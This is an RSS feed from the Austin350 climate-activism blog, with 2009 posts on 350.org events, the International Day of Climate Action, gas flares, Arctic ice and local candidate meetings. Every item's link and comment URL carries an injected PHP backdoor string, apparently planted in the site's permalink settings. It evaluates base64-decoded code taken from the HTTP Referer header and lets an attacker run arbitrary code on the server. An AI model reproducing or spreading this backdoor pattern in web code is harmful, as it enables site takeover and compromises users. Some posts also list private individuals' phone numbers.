<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Austin350</title>
	<atom:link href="http://austin350.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://austin350.org</link>
	<description></description>
	<lastBuildDate>Wed, 24 Jun 2009 16:36:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Active Austinites</title>
		<link>http://austin350.org/2009/06/21/active-austinites/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/06/21/active-austinites/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 19:15:54 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Action]]></category>
		<category><![CDATA[Activism]]></category>
		<category><![CDATA[Austin]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=138</guid>
		<description><![CDATA[Katherine Gregor writes about Austin350 in the Austin Chronicle article &#8220;Groundwork: Active Austinites.&#8221; &#8230;creative energy for climate action is also rising from the community. Austinites Jon Lebkowsky and Randy Jewart (of Austin Green Art) caught the fever from Bill McKibben at South by Southwest 07, then got involved with McKibben&#8217;s nonprofit, 350.org. With Austinites David [...]]]></description>
			<content:encoded><![CDATA[<p>Katherine Gregor writes about Austin350 in the Austin Chronicle article <a href="http://www.austinchronicle.com/gyrobase/Issue/story?oid=oid:795597">&#8220;Groundwork: Active Austinites.&#8221;</a><br />
<blockquote>&#8230;creative energy for climate action is also rising from the community. Austinites Jon Lebkowsky and Randy Jewart (of Austin Green Art) caught the fever from Bill McKibben at South by Southwest 07, then got involved with McKibben&#8217;s nonprofit, 350.org. With Austinites David Armistead, Lauren Maples, and others established the Austin350.org website (350 parts per million of atmospheric carbon is the maximum limit recommended by NASA climate scientist James Hansen to avoid catastrophic global change). &#8220;Our goal is to build a community conversation about sustainability, starting with the 350 focus,&#8221; said Lebkowsky, who&#8217;s also involved with www.worldchanging.com. &#8220;People and businesses can sign up at Austin350.org, make a commitment to work at lowering their emissions, and say a bit about what they&#8217;re already doing.&#8221; For the International Day of Climate Action, Oct. 24, the Austin350 group is planning an &#8220;unconference&#8221; and a weeklong Commute-a-Thon event.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/06/21/active-austinites/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>350.org: In every corner of the globe</title>
		<link>http://austin350.org/2009/06/18/350org-in-every-corner-of-the-globe/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/06/18/350org-in-every-corner-of-the-globe/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 11:00:44 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=136</guid>
		<description><![CDATA[October 24 is International Climate Action Day. In Austin, we&#8217;ll be having a 350Camp (details forthcoming). Here&#8217;s a video from 350.org:]]></description>
			<content:encoded><![CDATA[<p>October 24 is International Climate Action Day. In Austin, we&#8217;ll be having a 350Camp (details forthcoming). Here&#8217;s a video from 350.org:</p>
<div class="youtube-video"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/dqof641pWys&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dqof641pWys&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/06/18/350org-in-every-corner-of-the-globe/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>green groove</title>
		<link>http://austin350.org/2009/06/10/green-groove/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/06/10/green-groove/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 14:22:22 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Action]]></category>
		<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=134</guid>
		<description><![CDATA[Katie Sternberg suggested greengroove as a site complementary to Austin350. The site promises &#8220;a phased withdrawal on catastrophic climate change,&#8221; meaning that it presents a set of actions you can take over time to reduce your carbon footprint. The site offers a process where you first pick whether you&#8217;re taking action just for you, or [...]]]></description>
			<content:encoded><![CDATA[<p>Katie Sternberg suggested <a href="http://www.greengroove.org/">greengroove</a> as a site complementary to Austin350. The site promises &#8220;a phased withdrawal on catastrophic climate change,&#8221; meaning that it presents a set of actions you can take over time to reduce your carbon footprint. </p>
<p>The site offers a process where you first pick whether you&#8217;re taking action just for you, or for your family, then you decide on a duration for your phased withdrawal: one, two, or three months. Finally you choose a level of difficulty: &#8220;Easy Does It,&#8221; &#8220;Weekend Warrior,&#8221; or &#8220;Green Machine.&#8221; After you&#8217;ve make all the selections, you get a checklist of weekly goals based on your choices. Then you can put your goals in order, and initialize your plan (which requires signup). The site offers goal tracking widgets for PC or Mac.</p>
<p>If you&#8217;re trying greengroove and have an opinion, please comment!</p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/06/10/green-groove/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gas flares</title>
		<link>http://austin350.org/2009/06/03/gas-flares/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/06/03/gas-flares/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 13:00:21 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=133</guid>
		<description><![CDATA[Gas flares worldwide burn continuously, wasting natural gas. A post at the Google Earth blog focuses on the wasted energy resources, but a comment also notes via Wikipedia that &#8220;flaring and venting of natural gas in oil wells is a significant source of greenhouse gas emissions.&#8221; [Link]]]></description>
			<content:encoded><![CDATA[<div align="center"><img src="http://austin350.org/wp/wp-content/uploads/2009/06/gasflare.jpg" alt="Gas flare." /></div>
<p>Gas flares worldwide burn continuously, wasting natural gas. A post at the Google Earth blog focuses on the wasted energy resources, but a comment also notes via Wikipedia that &#8220;flaring and venting of natural gas in oil wells is a significant source of greenhouse gas emissions.&#8221; <a href="http://www.gearthblog.com/blog/archives/2009/06/huge_waste_of_energy_visible_in_goo.html">[Link]</a></p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/06/03/gas-flares/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>International Day of Climate Action</title>
		<link>http://austin350.org/2009/06/02/international-day-of-climate-action/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/06/02/international-day-of-climate-action/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 22:28:57 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=131</guid>
		<description><![CDATA[Heads up: 350.org&#8217;s International Day of Climate Action is October 24, and Austin350 is planning 350Camp as our own local Climate Action event. 350Camp will be an unconference about sustainability and climate protection. It will be preceded by a week-long Commute-A-Thon. Watch Austin350.org for more information about these events.]]></description>
			<content:encoded><![CDATA[<p>Heads up: 350.org&#8217;s <a href="http://www.350.org/invitation">International Day of Climate Action</a> is October 24, and Austin350 is planning <a href="http://350camp.pbworks.com/FrontPage">350Camp</a> as our own local Climate Action event. 350Camp will be an <a href="http://en.wikipedia.org/wiki/Unconference">unconference</a> about sustainability and climate protection. It will be preceded by a week-long Commute-A-Thon. Watch Austin350.org for more information about these events.</p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/06/02/international-day-of-climate-action/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>tonight at candidate meeting</title>
		<link>http://austin350.org/2009/04/09/tonight-at-candidate-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/04/09/tonight-at-candidate-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 16:39:37 +0000</pubDate>
		<dc:creator>texasclimate</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=72</guid>
		<description><![CDATA[Hi, I&#8217;m with 1Sky which includes BIll McKibben, Dr. Hansen and Van Jones. Our org. name here is Texas Climate Emergency Campaign. TCEC works in 12 congressional district on national legislation. Alyssa Burgin, one of our organizers wll be at the candidate meeting tonight and would love to talk with those of you at Austin350. [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,<br />
I&#8217;m with 1Sky which includes BIll McKibben, Dr. Hansen and Van Jones. Our org. name here is Texas Climate Emergency Campaign. TCEC works in 12 congressional district on national legislation. Alyssa Burgin, one of our organizers wll be at the candidate meeting tonight and would love to talk with those of you at Austin350. She is 50ish, blonde and will have some 1Sky buttons on. If you cannot find her call her cell at 210-381-4021. I&#8217;ll be in Waco tonight but live in Austin. I can be reached at 512-964-1134.<br />
Both of the national bills have some good points but are very weak on emission cuts. We need to figure out a way to move Rep. Doggett to amend his bill. </p>
<p>Best,</p>
<p>Jere Locke</p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/04/09/tonight-at-candidate-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why we&#8217;re here</title>
		<link>http://austin350.org/2009/04/06/why-were-here/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/04/06/why-were-here/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 04:31:18 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=71</guid>
		<description><![CDATA[Bruce Sterling posted this chart, which he got from Climate Progress.]]></description>
			<content:encoded><![CDATA[<p>Bruce Sterling <a href="http://blog.wired.com/sterling/2009/04/deadly-mayhem-f.html">posted this chart,</a> which he got from <a href="http://climateprogress.org/2009/03/22/an-introduction-to-global-warming-impacts-hell-and-high-water/"><i>Climate Progress.</i></a></p>
<div align="center"><img src="http://austin350.org/wp/wp-content/uploads/2009/04/climatechange.jpg" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/04/06/why-were-here/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arctic ice declining</title>
		<link>http://austin350.org/2009/04/06/arctic-ice-declining/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/04/06/arctic-ice-declining/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 23:59:28 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=69</guid>
		<description><![CDATA[Arctic ice is getting &#8220;smaller, thinner, younger,&#8221; possibly an effect of climate change &#8211; also a cause: In summertime Arctic ice reflects sunlight back into space. When the ice melts, newly exposed, dark ocean waters absorb that heat, with unpredictable consequences for wind and ocean circulatory systems worldwide. [Read more at National Geographic's site]]]></description>
			<content:encoded><![CDATA[<p>Arctic ice is getting &#8220;smaller, thinner, younger,&#8221; possibly an effect of climate change &#8211; also a cause:<br />
<blockquote>In summertime Arctic ice reflects sunlight back into space. When the ice melts, newly exposed, dark ocean waters absorb that heat, with unpredictable consequences for wind and ocean circulatory systems worldwide.</p></blockquote>
<p> <a href="http://news.nationalgeographic.com/news/2009/04/090406-sea-ice-younger.html">[Read more at National Geographic's site]</a></p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/04/06/arctic-ice-declining/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Candidate interviews</title>
		<link>http://austin350.org/2009/04/06/candidate-interviews/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/04/06/candidate-interviews/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 12:45:07 +0000</pubDate>
		<dc:creator>jonl</dc:creator>
				<category><![CDATA[Activism]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=67</guid>
		<description><![CDATA[Interviews with candidates for Austin City Council and Mayoral races, conducted at the March 25th Texas Green Network meeting, are viewable at the Austin Clean Energy blog. Also note the blog post at the site that wonders whether and why Walmart is outgreening Austin Energy.]]></description>
			<content:encoded><![CDATA[<p>Interviews with candidates for Austin City Council and Mayoral races, conducted at the March 25th <a href="http://texasgreennetwork.org/">Texas Green Network</a> meeting, are viewable at the <a href="http://austincleanenergy.org">Austin Clean Energy</a> blog. Also note the <a href="http://austincleanenergy.org/2009/04/04/is-walmart-outgreening-austin/">blog post at the site </a>that wonders whether and why Walmart is outgreening Austin Energy.</p>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/04/06/candidate-interviews/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trans-American Ride for 350 Hits Austin</title>
		<link>http://austin350.org/2009/03/25/trans-american-ride-for-350-hits-austin/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://austin350.org/2009/03/25/trans-american-ride-for-350-hits-austin/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 02:07:02 +0000</pubDate>
		<dc:creator>ross</dc:creator>
				<category><![CDATA[Activism]]></category>

		<guid isPermaLink="false">http://austin350.org/?p=41</guid>
		<description><![CDATA[A group of Canadian and American cyclists is riding from Toronto to Boston, taking the long way round via the West Coast and a wide loop through the rest of the U.S., and bringing the message of Project 350 carbon reduction to the two nations, town after town (and blogging as they go). The young [...]]]></description>
			<content:encoded><![CDATA[<div>A group of Canadian and American cyclists is riding from Toronto to Boston, taking the long way round via the West Coast and a wide loop through the rest of the U.S., and bringing the message of Project 350 carbon reduction to the two nations, town after town (and <a href="http://www.theurgencyofnow.us/tour.php">blogging </a>as they go).</div>
<div></div>
<div>The young cyclists, who call themselves <a href="http://www.theurgencyofnow.us/">the URGENCY of NOW, </a>will arrive in Austin Thursday, and will stay long enough to join fellow cyclist, and candidate for Austin City Council, Chris Riley in the Saturday night <a href="http://www.chrisforaustin.com/2009/03/march-28-earth-hour-with-chris-riley/">Earth Hour</a> event happening 8:30-midnight at the Daily Juice Cafe, 4500 Duval Street.</div>
<div>
<p>Joanna Flatt of the group says:</p>
<blockquote><p>The Urgency of Now is a solutions-based workshop designed by young Americans and Canadians about individual and community success stories. The workshop is an interactive discussion of the latest science on Climate Disruption, the number 350, and how WE will all play a role in closing the gap between science and policy. The Key areas explored in the workshop are:</p>
<ul>
<li>The latest science on Climate Disruption: why we have no time to waste.</li>
<li>Why 350 is the most important number on the planet.</li>
<li>How are we going to get to 350 ppm, and why it will be good for people, good for the economy, and good for national security.</li>
<li>How we can all take part in closing the gap.</li>
</ul>
<p>We are mounting our bicycles, and taking this workshop across the lower 48 to colleges, high schools, and community centers. We draw from the worries, woes, ideas, and excitement of all those we meet along this route, to jump-start a discussion about how, together, we can face the world. It will be a catalyst for that endless succession of presents that will mold the future into something desirable and exciting.</p></blockquote>
<p>The Urgency of Now group can offer its 90-minute presentation on solutions leading to a stable climate at 350 ppm to anyone who can set up an audience during the three days they&#8217;re here &#8211; this is short notice but probably nothing to a town that can take SXSW in its stride&#8230; So spread the word, and to meet these young Project 350 activists, or to host their presentation, contact us or you can call them direct at 781 325 6516.</p>
<p>UPDATE 1: people will be able to catch them at the  downtown  (4th and Guadalupe) farmers market on Saturday (at the yellow bike project and  Car Share booth, and perhaps a presentation at around 11:30 am on the  stage area.</p>
<p>UPDATE 2: and for more information you can also contact Marla Camp of Edible Austin at <a href="mailto:marla@edibleaustin.com" target="_blank">marla@edibleaustin.com</a> or 512-441-3971</div>
]]></content:encoded>
			<wfw:commentRss>http://austin350.org/2009/03/25/trans-american-ride-for-350-hits-austin/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

